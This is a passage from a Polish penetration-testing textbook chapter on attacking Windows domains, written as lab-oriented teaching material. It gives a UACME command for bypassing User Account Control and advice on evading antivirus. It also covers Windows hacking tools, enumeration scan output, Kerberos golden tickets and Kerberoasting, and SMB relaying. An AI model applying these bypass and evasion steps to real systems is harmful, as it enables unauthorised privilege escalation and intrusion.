3
462 Rozdział 13  Microsoft Windows

każdego hakera pojawia się konieczność omijania jakiegoś oprogramowania antywirusowego,

dlatego zaprezentujemy tu kilka rozwiązań tego problemu.
Jedną z metod ukrywania złośliwego payloadu jest zastosowanie narzędzia o nazwie Sheller
(https://www.shellerproject.com), które umożliwia ukrycie podanego payloadu w normalnie wyglą-
dających plikach. To naprawdę skuteczne narzędzie dostępne komercyjnie i w postaci otwartych
źródeł, dlatego przyjrzymy się mu dokładniej w dalszej części tego rozdziału.

Omijanie funkcji Kontrola konta użytkownika

Kontrola konta użytkownika (UAC) jest mechanizmem wbudowanym w system Windows, który
powoduje wyświetlenie okienka dialogowego przy każdej próbie uruchomienia programu z upraw-
nieniami administratora. Działanie tego mechanizmu opiera się na założeniu, że użytkownik musi
być obecny przy komputerze, żeby móc kliknąć przycisk OK i zezwolić na uruchomienie programu
z wyższym poziomem uprawnień, co zwykle jest niezbędne podczas instalowania programów. Nie-
stety istnieją już metody omijania tej funkcji. Co więcej, jest ich tak wiele, że hakerzy zaczęli wbu-
dowywać odpowiednie mechanizmy w swoje exploity.
Jedno z takich narzędzi — UACME (http://github.com/hfiref0x/UACME) — zawiera już 59 róż-
nych metod i ta liczba stale się zwiększa. Funkcja UAC miała za zadanie zablokować każdą próbę
uruchomienia programu z prawami administratora, jeżeli ten program zostałby uruchomiony przez
zwykłego użytkownika. Oczywiście tworzy to dodatkową przeszkodę dla hakerów, ale jak każdą inną
przeszkodę, tę również można obejść (albo przeskoczyć, przesunąć, przejść pod nią itd.).
Po pobraniu programu UACME musisz najpierw skompilować go do postaci binarnej. Możesz do tego
użyć programu Visual Studio w wersji Community (https://visualstudio.microsoft.com/vs/community).
W katalogu Source otwórz plik uacme.sln, a następnie w programie Visual Studio kliknij na pasku
narzędzi przycisk Build Solution. W efekcie powstanie kilka plików wykonywalnych, w tym i plik
Akagi64.exe, którego będziemy używać do pomijania wymagań stawianych przez funkcję UAC.
Program UACME wymaga wybrania metody używanej do pomijania funkcji UAC, co można zro-
bić za pomocą wartości indeksu. Oprócz tego program wymaga podania też nazwy polecenia, które
ma zostać uruchomione bez wywoływania okienka dialogowego UAC.
W repozytorium tego narzędzia znajduje się też pełna lista metod oraz wersji systemu Win-
dows, w których te metody działają. Użytkownik uruchamiający to polecenie musi mieć już upraw-
nienia administratora, ponieważ program nie stosuje żadnych exploitów pozwalających uzyskać te
uprawnienia. Jest tylko narzędziem umożliwiającym pominięcie wyskakujących okienek UAC.
Na komputerze z systemem Windows 10 możesz skorzystać z poniższego polecenia, aby uzyskać
dostęp do wiersza poleceń bez wywoływania żadnych komunikatów systemu UAC. W tym przy-
padku używamy klucza 56, ponieważ tej metody można używać w systemie Windows 10 i nie zo-
stała ona jeszcze załatana, choć to może się już zmienić, gdy będziesz czytać tę książkę. Uruchomiony
w ten sposób program będzie miał uprawnienia administratora, tak jakby kliknąć jego ikonę pra-
wym przyciskiem myszy i wybrać z menu pozycję Uruchom jako administrator. Dzięki temu uzy-
skasz dostęp do zastrzeżonych funkcji systemu, takich jak dodawanie lub usuwanie użytkowników.
C:\tools\UACME\Akagi64.exe 56 cmd.exe

3681988c430c7fe1e8567c4e2f281f7b
3
Konfigurowanie maszyny wirtualnej z systemem Windows 463

Konfigurowanie maszyny wirtualnej

z systemem Windows
Mimo że systemy Windows są zamkniętym i własnościowym oprogramowaniem, to ćwiczenie ata-
ków na nie wcale nie jest trudniejsze niż w przypadku innych systemów operacyjnych dostępnych
w formie otwartych źródeł. Skoro wiesz już, jak należy pobierać obraz ISO z dystrybucją systemu
linuksowego i instalować ten system w maszynie wirtualnej, to możesz zrobić to samo z systemem
Windows. Jak się okazuje, firma Microsoft udostępnia szeroki wachlarz systemów operacyjnych
w wersjach próbnych, które można pobierać bez opłat i wykorzystywać do swoich ćwiczeń (oczy-
wiście wszystko z punktu widzenia bezpieczeństwa systemu). Każdy z takich systemów po pewnym
czasie wygasa i przestaje działać, ale to nie powinno przeszkadzać w używaniu go jako elementu
ćwiczebnego. Na początek przejdź na stronę www.microsoft.com/en-us/evalcenter/try i pobierz
próbną wersję systemu Windows Server 2019. (Albo inną wersję, która jest Ci w danej chwili po-
trzebna; wiele organizacji nadal korzysta z systemu Windows Server 2012 lub Windows Server
2016). Następnie przygotuj nową maszynę wirtualną i zainstaluj pobrany system.
Możesz zainstalować tylko jeden system, ale nic nie stoi na przeszkodzie, żeby utworzyć kilka
różnych maszyn wirtualnych, pod warunkiem że Twój komputer jest wyposażony w wystarczającą
ilość pamięci RAM. Aby zbudować działającą sieć systemów Windows, musisz uruchomić przy-
najmniej jeden system serwerowy i jeden system dla stacji roboczej (przy czym serwer musi mieć
skonfigurowaną usługę AD). Definiowanie kontrolera domeny oraz innych ról systemu można wy-
konać za pomocą interfejsu graficznego, a system Windows całkiem dobrze prowadzi użytkownika
przez ten proces.
Po zainstalowaniu najnowszej wersji systemu Windows Server zobaczysz na ekranie pulpit po-
dobny do przedstawionego na rysunku 13.4. Otwarte tu okno jest kreatorem konfiguracji serwera
umożliwiającym zainstalowanie w nim różnych ról i serwisów. Tworzenie takiej konfiguracji po-
zwala doskonale poznać strukturę sieci Windows i zauważyć różne błędy, jakie można popełnić
z punktu widzenia bezpieczeństwa systemów. Próbuj dodać tu kilku użytkowników do swojej do-
meny i nadać im różne uprawnienia. W ten sposób dowiesz się, jakie błędy mogą popełniać admi-
nistratorzy tych systemów.

W rozdziale 9. „Pliki i współdzielenie plików” mówiliśmy o projekcie Samba,

który może służyć nie tylko do współdzielenia plików w sieci. Samba jest implementacją
kilku technologii z systemu Windows Server i może zostać użyta w roli kontrolera domeny
Active Directory. Oznacza to, że wcale nie musisz konfigurować systemu Windows, aby
poćwiczyć techniki hakowania sieci Windows. Szczegółowe informacje na temat konfi-
gurowania kontrolera domeny Active Directory za pomocą projektu Samba znajdziesz
pod tym adresem: https://wiki.samba.org/index.php/Setting_up_Samba_as_an_Active_
Directory_Domain_Controller.

3681988c430c7fe1e8567c4e2f281f7b
3
464 Rozdział 13  Microsoft Windows

Rysunek 13.4. Windows Server 2019

Narzędzia do hakowania systemów Windows

Większość narzędzi ogólnego przeznaczenia, z których korzystaliśmy do tej pory (Nmap, Searchsploit,
Metasploit, Netcat itd.), może być używana również podczas hakowania hostów z systemem Windows.
Oznacza to, że również w tym kontekście możesz dalej używać swojej maszyny wirtualnej Kali Linux.
Dodatkowo narzędzia, o których mówiliśmy w rozdziale 9., świetnie nadają się do sondowania ser-
wisów NetBIOS, SMB (Server Message Block) lub RPC (Remote Procedure Call). Pamiętaj jednak,
że firma Microsoft korzysta z własnego protokołu RPC — Microsoft RPC (MS-RPC), który jest
zmodyfikowaną wersją systemu DCE/RPC. Co więcej, używany tu wariant protokołu DCE/RPC
występuje w wersji korzystającej z protokołu TCP lub HTTP. Jak można sobie wyobrazić, powstało
już wiele różnych specjalizowanych narzędzi do hakowania systemów Windows, na przykład:
 narzędzia do enumeracji (enum4linux, enum.exe i RIDenum),
 narzędzia do mapowania domen (BloodHound),
 narzędzia atakujące powłokę Windows (PowerSploit, PowerTools, P0wnedshell i Empire),
 aplikacje .NET (Sharpsploit oraz Covenant),
 narzędzia do pobierania skrótów haseł (Mimikatz, PwDumpX14, Fgdump, shadowdump,
SAMdump2, oraz Cain and Abel),
 narzędzia to atakowania skrótów haseł (Pth-toolkit oraz impacket),
 narzędzia używane po udanym ataku (Meterpreter i Empire).

3681988c430c7fe1e8567c4e2f281f7b
3
Windows i agencja NSA 465

Pamiętaj, że praca hakera bardzo przypomina pracę administratora systemu, z tym że jest to
praca bez odpowiedniego uwierzytelnienia. Próbując hakować systemy Windows, musisz zatem
dobrze znać używane w tym systemie narzędzia administracyjne. Bardzo przydaje się też możli-
wość używania aplikacji działających w systemie Windows, dlatego niezbędnym krokiem jest od-
powiednie przygotowanie maszyny wirtualnej z tym systemem. W firmie Hacker House przygoto-
waliśmy specjalny pakiet zawierający najprzydatniejsze i najczęściej używane narzędzia do hakowania
systemów Windows (są dostępne pod adresem https://www.hackerhousebook.com/files/Windows_
Tradecraft_Tools.zip). Ze względu na to, że wiele z tych narzędzi próbuje uzyskać dostęp do haseł
i innych ważnych danych, zwykle wywołują one alarmy we wszystkich nowoczesnych systemach
antywirusowych, dlatego próbując z nich korzystać, zdefiniuj w swoim programie odpowiednie
wyjątki. Mamy tu do czynienia z narzędziami w formie binarnej, dlatego zawsze ostrożnie pod-
chodź do wszystkich plików pobieranych z internetu i najpierw sprawdzaj ich działanie w maszynie
wirtualnej, a dopiero potem przechodź do stosowania ich w środowiskach produkcyjnych.

Windows i agencja NSA

Gdy ujawnione zostały narzędzia podobno przygotowane przez agencję NSA, okazało się, że pod-
czas swoich działań stosuje ona własny framework do hakowania systemów Windows. Wiele z ujaw-
nionych exploitów zostało później przeniesionych również do innych narzędzi. Oto kilka ważniej-
szych narzędzi, jakich agencja NSA używała do hakowania systemów Windows:
FUZZBUNCH — framework exploitu składający się ze skryptu w języku Python oraz
specjalnej biblioteki DLL.
DANDERSPRITZ — narzędzie szpiegowskie umożliwiające zdalny dostęp do systemu,
które potrafi oczyszczać protokoły z zapisów własnych działań i ukrywać ślady
prowadzonego ataku.
DOUBLEPULSAR — payload do jądra systemu umożliwiający wstrzykiwanie bibliotek DLL.
W rozdziale 9. analizowaliśmy już podatność SambaCry, która otrzymała swoją nazwę po ataku,
jaki będziemy omawiać w następnym podrozdziale. W tym rozdziale przyjrzymy się też exploitom
wykorzystywanym przez oprogramowanie WannaCry, które używało pierwszego z poniższych
exploitów znajdujących się wśród ujawnionych narzędzi NSA:
 ETERNALBLUE,
 ETERNALROMANCE,
 ETERNALCHAMPION,
 ETERNALSYNERGY.

Podczas używania dowolnych ujawnionych narzędzi należy zachować da-

leko posuniętą ostrożność. Narzędzia przygotowane przez organizacje o dużych zasobach
finansowych, takie jak NSA, często wbudowują w swoje programy funkcje śledzące. Jest
całkiem możliwe, że takie narzędzia będą „dzwonić do domu”, próbując się skontaktować
ze swoim właścicielem, albo mogą instalować w systemie osobny pakiet złośliwego opro-
gramowania. Wykorzystując takie narzędzia, możesz niechcący wystawić swój systemy lub

3681988c430c7fe1e8567c4e2f281f7b
3
466 Rozdział 13  Microsoft Windows

systemy na atak, a samo używanie tych narzędzi może mieć dodatkowe konsekwencje
prawne. Samo używanie narzędzia w maszynie wirtualnej bez dostępu do internetu i ko-
rzystanie z narzędzi do śledzenia pakietów, takich jak Wireshark, jest bardzo skuteczną me-
todą ograniczania potencjalnych szkód, jakie mogą spowodować te narzędzia, jednocześnie
pozwalającą na przeprowadzenie analizy metod ich pracy.

Skanowanie portów systemu Windows Server

Programu Nmap można użyć również do przeskanowania portów hosta z systemem Windows.
Prezentowany poniżej kod wykonuje prosty skan portów maszyny wirtualnej z systemem Windows
Server 2008. Analiza tego wydruku pozwala uzyskać informację o tym, jakie serwisy działają na
typowym kontrolerze domeny. Mimo że te informacje nie są już aktualne, to listy serwisów działa-
jących w najnowszych systemach Windows Serwer nie są tak bardzo odmienne.
Nmap scan report for 192.168.48.104
Host is up (0.00049s latency).
Not shown: 65507 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB1446A)
80/tcp open http Microsoft IIS httpd 7.5
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP
443/tcp open ssl/https?
445/tcp open microsoft-ds Windows Server 2008 R2 Standard 7601
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped
3389/tcp open ssl/ms-wbt-server?
5900/tcp open vnc VNC (protocol 3.8)
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49158/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49161/tcp open msrpc Microsoft Windows RPC
49163/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
49186/tcp open msrpc Microsoft Windows RPC
49187/tcp open msrpc Microsoft Windows RPC

W tym rozdziale wykorzystamy starsze oprogramowanie, żeby wyjaśnić naturę różnych podat-
ności, ale wiele z zaprezentowanych tu technik można stosować również w nowszych systemach,
jeżeli tylko są one połączone ze słabiej zabezpieczonymi. Piętą achillesową systemów Windows jest to,
że mają one duże zaufanie do innych systemów z tej samej domeny. Bezpieczeństwo hosta z systemem

3681988c430c7fe1e8567c4e2f281f7b
3
Microsoft DNS 467

Windows jest uzależnione od poziomu bezpieczeństwa bliskich mu zasobów sieciowych, a takim

może być nawet stary komputer wyposażony jeszcze w system Windows XP albo inny nieaktuali-
zowany system. Gdy tylko jeden z takich systemów w sieci zostanie przejęty przez hakera, to zwykle
nie ma on już większych problemów, żeby przenosić się z jednego systemu do drugiego. To właśnie
dlatego słyszy się o szybko rozprzestrzeniających się robakach oraz błyskawicznych atakach na plat-
formy Microsoftu.
Wynik skanowania programem Nmap wskazuje na to, że mamy do czynienia z systemem Win-
dows Server. Można to wywnioskować z listy otwartych portów oraz wykrytych serwisów działają-
cych w tym systemie. Przede wszystkim chodzi tu o serwis Kerberos (kerberos-sec i kpasswd5),
Microsoft RPC (msrpc — jest bardzo podobny do serwisu ONC RPC, który badaliśmy już wcze-
śniej; poza tym na porcie TCP 593 działa serwis RPC over HTTP, który jest bardzo zbliżony do
uniksowych serwisów XML RPC), NetBIOS (netbios-ssn), Microsoft SMB (microsoft-ds) oraz
serwis ms-wbt-server, który zajmuje się obsługą protokołów zdalnego pulpitu (RDP — Remote
Desktop Protocol, znany również pod nazwą Terminal Services). Na tym samym wydruku znajdują
się też różne serwisy LDAP, ale one nie są szczególną cechą systemów firmy Microsoft. Pamiętaj
też, że część serwisów związanych z firmą Microsoft (takich jak SMB lub NetBIOS) może działać
w systemach uniksowych dzięki projektowi Samba. Na końcu całej listy pojawiają się jeszcze porty
używane przez serwis MSRPC.
Na wydruku znajdziesz jeszcze inne serwisy, które mogą działać w dowolnym systemie opera-
cyjnym — DNS, http, HTTPS oraz kilka serwisów LDAP.
Po skonfigurowaniu własnego laboratorium Windows Server 2019 i zdefiniowaniu kontrolera
domeny, serwera DNS (to element wymagany przy konfigurowaniu kontrolera) i ról serwera WWW
skanowanie portów takiej domyślnej instalacji zwróci wyniki podobne do poniższych:
Nmap scan report for 192.168.48.109
Host is up (0.00071s latency).
Not shown: 994 filtered ports
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server

Microsoft DNS
Pierwszym otwartym portem w powyższych wynikach skanowania jest port 53, o którym wiemy
już, że jest związany z usługami DNS. Spróbuj zatem skorzystać z programu Dig, tak jak robiliśmy
to wcześniej z innymi serwisami DNS. Używając polecenia dig @<AdresIP> chaos version.bind txt
dla hosta z systemem Windows Server, który realizuje usługę DNS, możemy uzyskać wiele przy-
datnych informacji, takich jak poniższe:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33661
;; flags: aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; QUESTION SECTION:

3681988c430c7fe1e8567c4e2f281f7b
3
468 Rozdział 13  Microsoft Windows

;version.bind. CH TXT

;; ANSWER SECTION:
version.bind. 1476526080 IN TXT "Microsoft DNS 6.1.7601 (1DB1446A)"

Oprogramowanie serwera DNS działające w systemie Windows nie należy do rodziny BIND,
ale nazywa się Microsoft DNS. Mimo to odpowiada na żądanie version.bind. Nawet w nowocze-
snych implementacjach protokołu DNS, takich jak Microsoft DNS, znajdują się elementy zacho-
wujące wsteczną zgodność ze starszymi wersjami. W podanym wyżej wydruku znajdziesz też in-
formację o wersji oprogramowania. Ten serwis DNS do działania wykorzystuje protokół TCP,
dlatego może w nim spróbować wykonać transfer strefy, wysyłając odpowiednie żądanie. Środowi-
ska Windows Enterprise często stosują dynamiczne konfiguracje DNS, w których hosty otrzymują
nazwy zawierające w sobie nazwę lasu oraz domeny, takie jak PDC2019.HACKERHOUSE.INTER-
NAL. Po zapoznaniu się ze schematem stosowanych nazw hostów możesz wykorzystać system DNS
do siłowego skanowania wszystkich podsieci. Ta technika jest szczególnie przydatna w sytuacji, gdy
mamy do czynienia z większą siecią korzystającą z zakresu adresów IPv4 klasy A lub większego
albo gdy sieć posługuje się protokołem IPv6.

Serwer IIS
W rozdziale 7. „Sieć WWW pełna podatności” wspominaliśmy już o serwerze IIS (Internet Infor-
mation Services), a teraz skorzystamy z możliwości zbadania go dokładniej po zainstalowaniu go
w maszynie wirtualnej Windows Server. Na rysunku 13.5 przedstawiamy domyślną stronę WWW
wyświetlaną przez świeżo zainstalowany serwer IIS.

Rysunek 13.5. Domyślna strona serwera Microsoft IIS

3681988c430c7fe1e8567c4e2f281f7b
3
Kerberos 469

Jeżeli nie masz doświadczeń z technologiami firmy Microsoft, to możesz nie poznawać poszcze-
gólnych pakietów związanych z działaniem w sieci WWW. Serwer IIS należy traktować jako ekwi-
walent uniksowych serwerów Apache lub Nginx, co oznacza, że jest on serwerem WWW. Z pew-
nością zauważysz też nazwę ASP.NET, która nie oznacza oprogramowania serwerowego, ale
specjalny framework przeznaczony do tworzenia aplikacji sieciowych. Platforma .NET jest z kolei
zbiorem różnych języków i bibliotek, wśród których ASP.NET jest tylko jednym z wielu dostęp-
nych elementów. Sama platforma .NET jest dostępnym bezpłatnie, wieloplatformowym framewor-
kiem programistycznym o otwartych źródłach, który zdobył już ogromną popularność dzięki
temu, że działa we wszystkich nowoczesnych wersjach systemów operacyjnych firmy Microsoft.
Służy on do tworzenia aplikacji sieciowych i mobilnych oraz aplikacji dla komputerów PC. Można
w nim przygotowywać między innymi gry oraz różne narzędzia do hakowania, tworząc je w róż-
nych językach, takich jak C#, F# lub Visual Basic. Więcej informacji na temat tego frameworku
znajdziesz pod adresem https://dotnet.microsoft.com.
Jeżeli w komputerze z systemem Windows zauważysz serwis HTTP lub HTTPS, to możesz za-
cząć badać go tak jak każdy inny serwer WWW działający w systemie linuksowym. Używaj przy
tym takich narzędzi jak Nmap (ze skryptami), Nikto, Dirb i Gobuster, a także swojej przeglądarki
oraz przechwytującego serwera proxy w rodzaju Burp Suite lub ZAP. W ten sposób możesz anali-
zować różne serwisy oraz aplikacje sieciowe i nie ma przy tym znaczenia, czy będzie to host do-
stępny publicznie, czy też działający w sieci wewnętrznej.

Firma Microsoft udostępnia kilka technologii o otwartych źródłach, w tym rów-

nież powłokę PowerShell (ten projekt nosi nazwę PowerShell Core). Sama nazwa PowerShell
oznacza własnościową powłokę oraz język skryptowy dla systemów Windows, ale PowerShell
Core to nowsze, wieloplatformowe rozwiązanie, które może działać również w systemach
Linux i macOS. Więcej informacji na ten temat znajdziesz pod adresem: https://github.com/
powershell/powershell.
W najnowszych wersjach swojego systemu firma Microsoft dodała nawet specjalny pod-
system linuksowy, który umożliwia zainstalowanie pełnego systemu operacyjnego, takiego
jak Kali Linux. Dodatkowe informacje na temat tego podsystemu są dostępne pod tym ad-
resem: https://docs.microsoft.com/en-us/windows/wsl/install-win10.

Kerberos
Kerberos jest protokołem uwierzytelniania w sieci, który znany jest przede wszystkim jako komer-
cyjna, własnościowa implementacja dostępna w systemach Windows. Bezpłatna implementacja tego
protokołu dostępna jest na stronach instytutu MIT (https://web.mit.edu/kerberos/dist/index.html),
natomiast specyfikacja protokołu zapisana jest w dokumencie RFC 4120. Pierwszy, nieaktualny już
dokument specyfikujący ten protokół (RFC 1510) nakazywał używanie szyfrowania DES (Data
Encryption Standard), ale dzisiaj uznawane jest ono za zbyt słabe zabezpieczenie komunikacji.
Od czasu powstania pierwszego dokumentu funkcje protokołu Kerberos były ciągle rozbudowy-
wane w kolejnych dokumentach RFC. Kerberos domyślnie używa współdzielonego, tajnego klucza
(choć może też korzystać z szyfrowania asymetrycznego z kluczem prywatnym i publicznym)

3681988c430c7fe1e8567c4e2f281f7b
3
470 Rozdział 13  Microsoft Windows

do szyfrowania wszystkich danych. Poza tym używa też tokenów TGT (ticket-granting tickets),
które pozwalają na uwierzytelnianie stron komunikacji po zakończeniu wstępnego procesu
uwierzytelniającego.
Kerberos jest podstawową metodą uwierzytelniania w systemach Windows, stosowaną już od
systemu Windows 2000, ale zwykle używany jest przede wszystkim w sieciach wewnętrznych i do-
menach. Firma Microsoft rozbudowała ten protokół, dodając do niego własne funkcje. Gdy klient
uwierzytelnia się w domenie za pomocą protokołu Kerberos, to otrzymuje od serwera token TGT,
którego może używać w żądaniach przesyłanych później w ramach domeny. Kerberos wymaga ist-
nienia w sieci centralnego, zaufanego serwera (niekoniecznie musi to być kontroler domeny), który
będzie uwierzytelniał użytkowników i wydawał im tokeny TGT. Co więcej, z serwerem mogą łączyć
się wyłącznie zaufane klienty. Każdy token TGT wygasa po ustalonym czasie, dlatego nie można ich
używać w nieskończoność. Po pewnym czasie wygasają też uprawnienia przyznane użytkownikowi.
W systemach Windows serwis protokołu Kerberos korzysta z użytkownika krbtgt. Jeżeli konto
tego użytkownika zostanie przejęte, może to mieć poważne konsekwencje dla całej domeny. W pro-
tokole Kerberos wykryto już kilka poważnych błędów bezpieczeństwa (na przykład błąd MS14-068),
który umożliwia podniesienie uprawnień w podatnym serwisie.

Złote tokeny
W 2014 roku w trakcie corocznej konferencji Black Hat USA, poświęconej bezpieczeństwu infor-
macji, zaprezentowano szczegółowy opis podatności istniejącej w protokole Kerberos. W szczegól-
ności w prezentacji pojawiło się pojęcie złotego tokena. Tę nazwę przypisano tokenom TGT, które
nie wygasają przez wiele lat (lub przez dowolny czas wyznaczony przez atakującego), dzięki czemu
atakujący mogą ponownie uzyskiwać dostęp do domeny, nawet jeżeli wszystkie metody dostępu
zostały zamknięte, a hasła przejętych kont zostały zmienione. Nawet po usunięciu wszystkich ist-
niejących podatności i zmianie danych uwierzytelniających wszystkich kont złoty token nadal
umożliwiał dostęp do konta danego użytkownika.
Już wielokrotnie zaznaczaliśmy w tej książce, że ufanie klientowi nigdy nie jest dobrym pomysłem.
Kerberos jest protokołem bezstanowym, a tokeny przechowują wszystkie informacje niezbędne do
sprawdzenia, czy użytkownik powinien mieć możliwość zalogowania się w systemie. W tokenie
zapisane są też informacje o przedawnieniu hasła użytkownika oraz lista grup, których członkiem
jest dany użytkownik. Oczywiście te dane są zaszyfrowane, a użytkownik lub klient nie jest w stanie
samodzielnie odczytać informacji znajdujących się w tokenie. Niestety implementacja protokołu
Kerberos używana w systemie Windows nie dawała serwerowi żadnych możliwości sprawdzenia,
kiedy został wygenerowany token, który miał wpisany nieskończony lub bardzo długi czas życia.
Najciekawszą cechę złotych tokenów stanowił fakt, że atakujący był w stanie wygenerować własny
token dla konta, do którego wcześniej uzyskał dostęp. Taki token był uznawany za poprawny przez
wiele kolejnych lat i można było go używać jako tylnej furtki umożliwiającej swobodny dostęp do
powiązanego konta. Uwierzytelnianie za pomocą złotego tokena umożliwiało atakującemu dostęp
do konta, nawet po zmianie jego hasła.

3681988c430c7fe1e8567c4e2f281f7b
3
Złote tokeny 471

Do przygotowania złotego tokena potrzebne były trzy rzeczy:

 Klucz KDC (Key Distribution Center) związany z serwisem krbtgt, który służy do
szyfrowania za pomocą algorytmu RC4 lub AES.
 Identyfikator bezpieczeństwa domeny (SID), który można było zdobyć za pomocą
narzędzi whoami i psgetsid.
 Nazwa domeny.

Polecenie whoami działa podobnie jak polecenie id. Wypisuje ono na ekranie nazwę
aktualnie zalogowanego użytkownika.

Wykorzystując te informacje, można wygenerować własne tokeny Kerberos, podając się za do-
wolnego użytkownika. Nic nie stoi też na przeszkodzie, żeby wykorzystać tutaj konto użytkownika
Administrator (RID: 500). Wykorzystując to konto, możesz podać dowolnie odległy termin trwa-
łości tokena, nawet wieloletni.
Przed prezentacją z konferencji Black Hat USA z 2014 roku część organizacji używających do-
men Windows zauważyła włamania do swoich systemów, ale mimo szybkiej reakcji zespołów śled-
czych, wyrzucenia atakujących z sieci i zmiany danych uwierzytelniających włamywacze byli w stanie
niemal natychmiast ponownie uzyskać dostęp do całej sieci. Nawet po odtworzeniu zabezpieczonej
kopii bezpieczeństwa hostów atakujący bez problemu uzyskiwali do nich dostęp. To wszystko było
możliwe dzięki wykorzystaniu złotych tokenów. Atakujący znaleźli doskonałą tylną furtkę i spryt-
nie korzystali z tego rozwiązania. Kolejną możliwością ataku dla hakerów skupiających się na pro-
tokole Kerberos były tak zwane srebrne tokeny. Więcej informacji na ich temat można znaleźć pod
adresem https://adsecurity.org/?p=2011.
Kolejny rodzaj ataku nazywany jest „Kerberoasting”. Pozwala on atakującemu na uzyskanie
danych uwierzytelniających przez manipulacje tokenem TGT, który można wydobyć z pamięci
operacyjnej hosta. Takie tokeny używane są do przesyłania żądań tokenów serwisowych, co może
prowadzić do wycieku informacji. Wymuszając stosowanie w protokole szyfrowania RC4, można
przeprowadzić atak siłowy na uzyskany token, co czasami prowadzi do ujawnienia danych klucza
prywatnego i umożliwia przeprowadzenie ataków podnoszenia uprawnień.

HAKOWANIE PROTOKOŁU KERBEROS

Trzeba tu zaznaczyć, że istnieją też inne podatności protokołu Kerberos, które dotyczą systemów
innych niż Windows. W takich systemach stosowane są odmienne implementacje tego proto-
kołu. Pod tym adresem znajdziesz listę podatności znalezionych w implementacji MIT Kerberos:
https://www.cvedetails.com/product/61/MIT-Kerberos.html?vendor_id=42
Podatność CVE-2017-8495, znana również pod nazwą „Orpheus’ Lyre”, jest ciekawym przy-
padkiem, ponieważ dotyczy zarówno systemów uniksowych, jak i systemów Windows. Więcej
informacji na jej temat znajdziesz pod adresem https://www.orpheus-lyre.info.
Znacznie nowsza podatność CVE-2019-0734 dotyka wyłącznie systemów firmy Microsoft
i pozwala na podnoszenie uprawnień. Jej opis znajdziesz pod tym adresem:
https://nvd.nist.gov/vuln/detail/CVE-2019-0734

3681988c430c7fe1e8567c4e2f281f7b
3
472 Rozdział 13  Microsoft Windows

NetBIOS
Pamiętaj, żeby do wykrywania działającej usługi NetBIOS używać narzędzia nbtscan. Uruchomie-
nie tego programu w maszynie wirtualnej Windows Server 2009 R2 bez podania żadnych parame-
trów spowoduje wyświetlenie poniższych informacji:
IP address NetBIOS Name Server User MAC address
---------------------------------------------------------------------
192.168.48.110 WIN2008R2 <server> <unknown> 08:00:27:a2:2e:a8

Po zastosowaniu polecenia nbtscan-v <AdresIP> można uzyskać znacznie więcej informacji.

Pamiętaj, że widoczne w wynikach tego skanowania słowo GROUP jest synonimem domeny.
Name Service Type
----------------------------------------
WIN2008R2 <00> UNIQUE
HACKERHOUSE <00> GROUP
HACKERHOUSE <1c> GROUP
HACKERHOUSE <1b> UNIQUE
WIN2008R2 <20> UNIQUE

Adapter address: 08:00:27:a2:2e:a8

----------------------------------------

W tym wydruku widać kilka serwisów dotyczących grupy o nazwie HACKERHOUSE, co ozna-
cza, że skanowany serwer jest częścią domeny o nazwie HACKERHOUSE. Jeden z serwisów ma typ
0x1c, co oznacza, że jest on również kontrolerem tej domeny.

LDAP
Za pomocą programu ldapsearch można połączyć się ze znalezionym serwisem LDAP, na przykład
z serwisem widocznym w wynikach skanowania programem Nmap (odpowiedni wiersz powta-
rzamy też poniżej). W rozdziale 8. „Sieci VPN” analizowaliśmy interfejs LDAP przystosowany do
używania w sieci WWW. Tamten interfejs był tylko graficzną reprezentacją funkcji uwierzytelnia-
nia serwisu LDAP na potrzeby usługi OpenVPN. Pamiętaj też, że protokół LDAP jest obsługiwany
przez usługi Active Directory.
389/tcp open ldap

Uruchomienie skanowania programem Nmap z opcją -A pozwala uzyskać jeszcze więcej informacji.
PORT STATE SERVICE VERSION
389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: HACKERHOUSE.LAN, Site: Default-First-Site-Name)

Jak widać na powyższym wydruku, za pomocą programu Nmap można wydobyć wiele infor-
macji z tego serwisu LDAP. Ponownie w wynikach pojawia się nazwa domeny HACKERHOUSE.

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SMB 473

Protokół SMB
Protokół SMB działa w systemach Windows dokładnie tak samo jak implementacja Samba w sys-
temach linuksowych. Pamiętaj, że Samba jest otwartą implementacją własnościowego protokołu
SMB, zaprojektowanego przez firmę Microsoft. Atakujący często próbują podawać się za serwis
SMB, używając do tego narzędzia o nazwie Responder (https://github.com/SpiderLabs/Responder).
Responder jest narzędziem do zatruwania komunikatów LLMNR, NBT-NS i MDNS, które reali-
zuje aktywne ataki typu man-in-the-middle, przechwytując komunikaty uwierzytelniania i przeka-
zując je dalej. Responder (między innymi) tworzy własny serwis SMB, z którym próbują się łączyć
użytkownicy systemów Windows. Przy każdej próbie takiego połączenia użytkownik ujawnia skrót
uwierzytelniający sieci, nazywany NetNTLM-v2 (istnieją też wcześniejsze wersje, ale nie są one po-
wszechnie używane). Takie skróty są używane w komunikacji typu wyzwanie – odpowiedź, a jeżeli
dany host ma wyłączoną funkcję podpisywania komunikatów SMB, to można je wykorzystać
w atakach typu man-in-the-middle.
Ten rodzaj ataku nazywany jest SMB relaying (przekazywanie komunikatów SMB) i jest on często
wykorzystywany w sieciach systemów Windows. Jeżeli uda Ci się zmusić lub namówić użytkownika
